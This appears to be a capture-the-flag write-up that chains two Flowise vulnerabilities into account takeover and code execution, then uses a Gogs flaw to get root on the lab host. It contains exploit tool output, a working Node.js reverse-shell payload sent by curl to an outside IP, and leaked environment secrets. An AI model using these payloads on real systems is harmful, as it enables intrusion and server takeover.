Hacking Flowise and getting system root via Gogs
Introduction
In this post, we are gonna use hack into a open source tool designed for creating AI agents through a simple drag-and-drop interface, chaining CVE-2025-59528 and CVE-2025-58434 getting root with an internal gogs service running as a root process, vulnerable to CVE-2025-8110.
Start
As always, i started with a Rustscan –> Nmap scan:
1
2
3
4
❯ rustscan -a 10.129.20.19 --ulimit 5000
Open 10.129.20.19:22
Open 10.129.20.19:80
1
2
3
4
5
6
7
8
9
10
❯ nmap -sT -A -Pn -T5 -p 22,80 10.129.20.19 --disable-arp-ping --min-rtt-timeout 50ms --max-rtt-timeout
100ms -v
22/tcp filtered ssh
80/tcp open http nginx 1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Since we discovered that the domain is “silentium.htb” let’s add it in to our /etc/hosts file to resolve it echo '10.129.20.19 silentium.htb'
Technologies
Let’s find out which technologies this website is using
1
2
3
4
5
❯ whatweb silentium.htb
http://silentium.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubunt
u)], IP[10.129.20.19], Script, Title[Silentium | Institutional Capital & Lending Solutions], nginx[1.24.
0]
Before of going in the website, let’s leave some background assets fuzzer/discovery tool to map the website better.
- VHost enumeration
- Assets enumeration
1
2
3
4
❯ ffuf -u http://silentium.htb/ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20
000.txt -fc 404 -H "HOST:FUZZ.silentium.htb" -fs 178
staging [Status: 200, Size: 3142, Words: 789, Lines: 70, Duration: 148ms]
1
2
❯ feroxbuster -u http://silentium.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -X 404
Output: nothing interesting
Webapp
Let’s take a look in both website The main one:
Looks like a simple website doing nothing that funny
here we have something interesting:
- The Website is using flowise
- When a user is not found a message pop up revealing it
- We have a forgot password endpoint
Before of enumerating versions and looking up for CVE, let’s first try some classic techniques.
In the login page, i changed the input type from email to text, to bypass frontend field format verification and attempted to go with some sql injection payload like admin’OR 1=1– -
Here we have been unlucky, let’s move on
Here we had a problem: in order to reset the password, we must have:
- A Valid Email
- A valid reset token
User enumeration
Since the page actually returns a response 404 and a message saying “User not found” when an user is not found: we can take advantage of this behaviour.
A curl request would look like thise:
1
2
3
4
5
6
7
8
9
10
11
12
curl 'http://staging.silentium.htb/api/v1/account/forgot-password' \
-H 'Accept: application/json, text/plain, */*' \
-H 'Accept-Language: en-US,en;q=0.7' \
-H 'Connection: keep-alive' \
-H 'Content-Type: application/json' \
-H 'Origin: http://staging.silentium.htb' \
-H 'Referer: http://staging.silentium.htb/forgot-password' \
-H 'Sec-GPC: 1' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36' \
-H 'x-request-from: internal' \
--data-raw '{"user":{"email":"admin@a.htb"}}' \
--insecure
So i used those parameter to build a perfect payload for ffuf
1
2
3
4
5
❯ ffuf -u http://staging.silentium.htb//api/v1/account/forgot-password -w /usr/share/wordlists/seclists/
Usernames/xato-net-10-million-usernames.txt -fc 404 -d '{"user":{"email":"FUZZ@silentium.htb"}}' -X POST
-H "Content-Type: application/json" -H 'Origin: http://staging.silentium.htb' -H 'Accept: applicatio
n/json, text/plain, */*'
Rate limiter
Here i spotted another issue: Rate limiter
I tried to enumerate api to see if i could have spotted something interesting, but no luck:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
http://staging.silentium.htb/api/v1/attachments
http://staging.silentium.htb/api/v1/feedback
http://staging.silentium.htb/api/v1/feedback_js
http://staging.silentium.htb/api/v1/ip
http://staging.silentium.htb/api/v1/ipc
http://staging.silentium.htb/api/v1/ipdata
http://staging.silentium.htb/api/v1/iphone
http://staging.silentium.htb/api/v1/ipn
http://staging.silentium.htb/api/v1/ipod
http://staging.silentium.htb/api/v1/ipp
http://staging.silentium.htb/api/v1/ips
http://staging.silentium.htb/api/v1/ips_kernel
http://staging.silentium.htb/api/v1/leads
http://staging.silentium.htb/api/v1/ping
http://staging.silentium.htb/api/v1/pingback
http://staging.silentium.htb/api/v1/pricing
http://staging.silentium.htb/api/v1/settings
http://staging.silentium.htb/api/v1/version
http://staging.silentium.htb/api/v1/version.json
Actually i found an interesting endpoint, whichj is: /api/v1/ip
having seen that message, i tried to use some parameter to bypass rate limiter, i wanted to use X-Forwaded-Host: 127.0.0.1 But the ip haven’t changed:
After took a further look into the website main page, i noticed that some name were exposed:
Therefore, i tried to build a list consisting of all the name combination
1
2
❯username-anarchy --input-file ./user >> users.txt
for i in $(cat user.txt);do echo $i@silentium.htb;done >> email.txt
Having a list full of emails, i tried try to put a time limiter, but i had some problem using ffuf timeout, so i built a script to having more control on the fuzzing
After i while, i found out ben was a valid one!
I tried to look up for some CVE and found out the following CVEs: CVE-2025-58434 : In version 3.0.5 and earlier, the forgot-password endpoint in Flowise returns sensitive information including a valid password reset tempToken without authentication or verification. This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a complete account takeover (ATO).
This, combined to : CVE-2025-59528 : The CustomMCP node allows users to input configuration settings for connecting to an external MCP server. This node parses the user-provided mcpServerConfig string to build the MCP server configuration. However, during this process, it executes JavaScript code without any security validation.
Ben account take over
I used this PoC https://github.com/kartik2005221/CVE-2025-58434-AND-59528-POC.git that automates the ATO
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
❯ python3 main.py --url http://staging.silentium.htb --email ben@silentium.htb
███████╗██╗ ██████╗ ██╗ ██╗██╗███████╗███████╗
██╔════╝██║ ██╔═══██╗██║ ██║██║██╔════╝██╔════╝
█████╗ ██║ ██║ ██║██║ █╗ ██║██║███████╗█████╗
██╔══╝ ██║ ██║ ██║██║███╗██║██║╚════██║██╔══╝
██║ ███████╗╚██████╔╝╚███╔███╔╝██║███████║███████╗
╚═╝ ╚══════╝ ╚═════╝ ╚══╝╚══╝ ╚═╝╚══════╝╚══════╝
════════════════════════════════════════════════════════════════════
CVE-2025-58434 │ Account Takeover via Token Disclosure │ CVSS 9.8 Critical
CVE-2025-59528 │ Authenticated RCE via CustomMCP Node │ CVSS Critical
════════════════════════════════════════════════════════════════════
⚠ FOR EDUCATIONAL / AUTHORIZED SECURITY TESTING ONLY ⚠
════════════════════════════════════════════════════════════════════
════════════════════════════════════════════════════════════════════
FULL CHAIN MODE │ CVE-2025-58434 → CVE-2025-59528
════════════════════════════════════════════════════════════════════
[Step 1] [CVE-2025-58434] Requesting forgot-password token ...
[*] Endpoint : http://staging.silentium.htb/api/v1/account/forgot-password
[*] Email : ben@silentium.htb
[*] HTTP 201
────────────────────────────────────────────────────────────────────
LEAKED ACCOUNT DATA
────────────────────────────────────────────────────────────────────
User ID : e26c9d6c-678c-4c10-9e36-01813e8fea73
Name : admin
Email : ben@silentium.htb
Credential : $2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG
Status : active
tempToken : aBDbt6IkNKfBTeP3SaUFxCeUpsxkChSy2kqjjyUKOASTsykIz1OO85QRg599rIzY
tokenExpiry : 2026-04-14T08:43:22.327Z
────────────────────────────────────────────────────────────────────
[+] tempToken : aBDbt6IkNKfBTeP3SaUFxCeUpsxkChSy2kqjjyUKOASTsykIz1OO85QRg599rIzY
[+] Expiry : 2026-04-14T08:43:22.327Z
[!] VULNERABLE — token disclosed without authentication!
[Step 2] [CVE-2025-58434] Resetting password → Flowise@Pwn3d2025!
[*] Endpoint : http://staging.silentium.htb/api/v1/account/reset-password
[*] New password : Flowise@Pwn3d2025!
[*] HTTP 201
[+] Password reset SUCCESSFUL (tempToken cleared)
[+] Account takeover complete → ben@silentium.htb / Flowise@Pwn3d2025!
[Step 3] [Auth] Logging in to extract session cookies ...
[*] Endpoint : http://staging.silentium.htb/api/v1/auth/login
[*] Email : ben@silentium.htb
[*] HTTP 200
────────────────────────────────────────────────────────────────────
EXTRACTED SESSION COOKIES
────────────────────────────────────────────────────────────────────
token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImUyNmM5ZDZjLTY3OGMtNGMxMC0...
refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImUyNmM5ZDZjLTY3OGMtNGMxMC0...
connect_sid : s%3ABuyYIhQ4E4fTb6rscXv_7i2WCKTeTv75.78bC%2BfF9pnM4PVoP9KIPIdqtlV22q9cyv...
────────────────────────────────────────────────────────────────────
[+] Session cookies obtained ✓
[Step 4] [CVE-2025-59528] Executing RCE via CustomMCP ...
[*] Endpoint : http://staging.silentium.htb/api/v1/node-load-method/customMCP
[*] Command : id
[*] Payload : ({x:(function(){const cp=process.mainModule.require("child_process");const out=cp.execS
y...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
RCE RESULT
────────────────────────────────────────────────────────────────────
Command : $ id
[{'label': 'No Available Actions', 'name': 'error', 'description': 'No available actions, please che
ck your API key and refresh'}]
[+] RCE confirmed!
────────────────────────────────────────────────────────────────────
════════════════════════════════════════════════════════════════════
CHAIN COMPLETE
════════════════════════════════════════════════════════════════════
CVE-2025-58434 ✓ ATO → ben@silentium.htb / Flowise@Pwn3d2025!
CVE-2025-59528 ✓ RCE → 'id' executed on server
════════════════════════════════════════════════════════════════════
This actually didn’t worked, so i tried to do it manually and successfully gained access as ben user
after looking up for CVE-2025-59528 and understanding how that works , i tried to get RCE https://www.sonicwall.com/it-it/blog/flowiseai-custom-mcp-node-remote-code-execution-
- Vulnerable Flowise Version: The target must be running FlowiseAI Flowise version >= 2.2.7-patch.1 and < 3.0.6. ( OK )
- Network Access to API: The attacker must have network access to the Flowise API endpoint /api/v1/node-load-method/customMCP (typically on port 3000).
- No Authentication Required: While Flowise supports optional API key authentication, the vulnerability can be exploited without credentials when authentication is not configured — a common deployment scenario. When authentication is enabled, a valid API token is sufficient.
- CustomMCP Component Loaded: The Flowise instance must have the CustomMCP node component available in its component pool (included by default in standard installations).
- POST Request Capability: The attacker must be able to send HTTP POST requests with a JSON body to the vulnerable endpoint.
and the request should have looked like:
i tried to build a curl command with the following payload
1
2
3
4
5
6
7
8
9
10
11
curl -s -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImUyNmM5ZDZjLTY3OGMtNGMxMC05ZTM2LTAxODEzZThmZWE3MyIsInVzZXJuYW1lIjoiYWRtaW4iLCJtZXRhIjoiYTdhMGZlZmVmMzNmMTEzYmQ3MWNiNWY0YTY3MGI1NTc6YTIyMjg1NmEwZTc4YTIyZmNkNzkzZGViY2IxMDA5MjY3N2U2NWY2YWJiODg5MjNhZDU3NDBiMmQ2NjI3ZDk1MmRlMDM4ZWMyZTAzNGMyMGFhODMyMDNkYzZmODAzOWI2YjczNzA4ZTI4MzhiOTBhMzYxMjkzMzFhZDZlMjUyNDIzNDhjY2IzOGMxODE4Nzg3NWNkZDk2MTE3MzQzMzliZSIsImlhdCI6MTc3NjE1NTc5OCwibmJmIjoxNzc2MTU1Nzk4LCJleHAiOjE3NzYxNzczOTgsImF1ZCI6IkFVRElFTkNFIiwiaXNzIjoiSVNTVUVSIn0.5XRvwsdTvTJuDeJNdYIT08INo3SqHqysAlioV3ns8CY" \
-d '{
"loadMethod": "listTools",
"nodeData": {
"inputs": {
"mcpServerConfig": "({x:(function(){ const cp = process.mainModule.require(\"child_process\"); const net = process.mainModule.require(\"net\"); const sh = cp.spawn(\"/bin/sh\", [\"-i\"]); const client = new net.Socket(); client.connect(1515, \"10.10.14.146\", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return 1; })()})"
}
}
}'
Container escape and SSH access
At that point, the big was already done, just after starting enumerate the server,i instantly noticed with env that the flowise password was exposed
1
2
3
4
5
6
7
| | |
|---|---|
|`FLOWISE_USERNAME`|`ben`|
|`FLOWISE_PASSWORD`|`F1l3_d0ck3r`|
|`SMTP_PASSWORD`|`r04D!!_R4ge`|
|`SMTP_HOST`|`mailhog`|
|`JWT_AUTH_TOKEN_SECRET`|`AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD`|
After attempted to login with user ben using that password, i was able to login!
Privilege escalation
After enumerating: caps.. process.. exposed config files.. user permission.. SUID binaries etc etc, i tried taking a look at internal service
ss -tulpn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
udp UNCONN 0 0 127.0.0.54:53 0.0.0.0:*
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8025 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:1025 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:3001 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:32815 0.0.0.0:*
tcp LISTEN 0 511 [::]:80 [::]:*
tcp LISTEN 0 4096 [::]:22 [::]:*
i forwarded the 3001 port to my host GOGS: I was able to register an account and after getting the version, i was able to exploit CVE-2025-8110, injecting my SSH key successfully getting access as root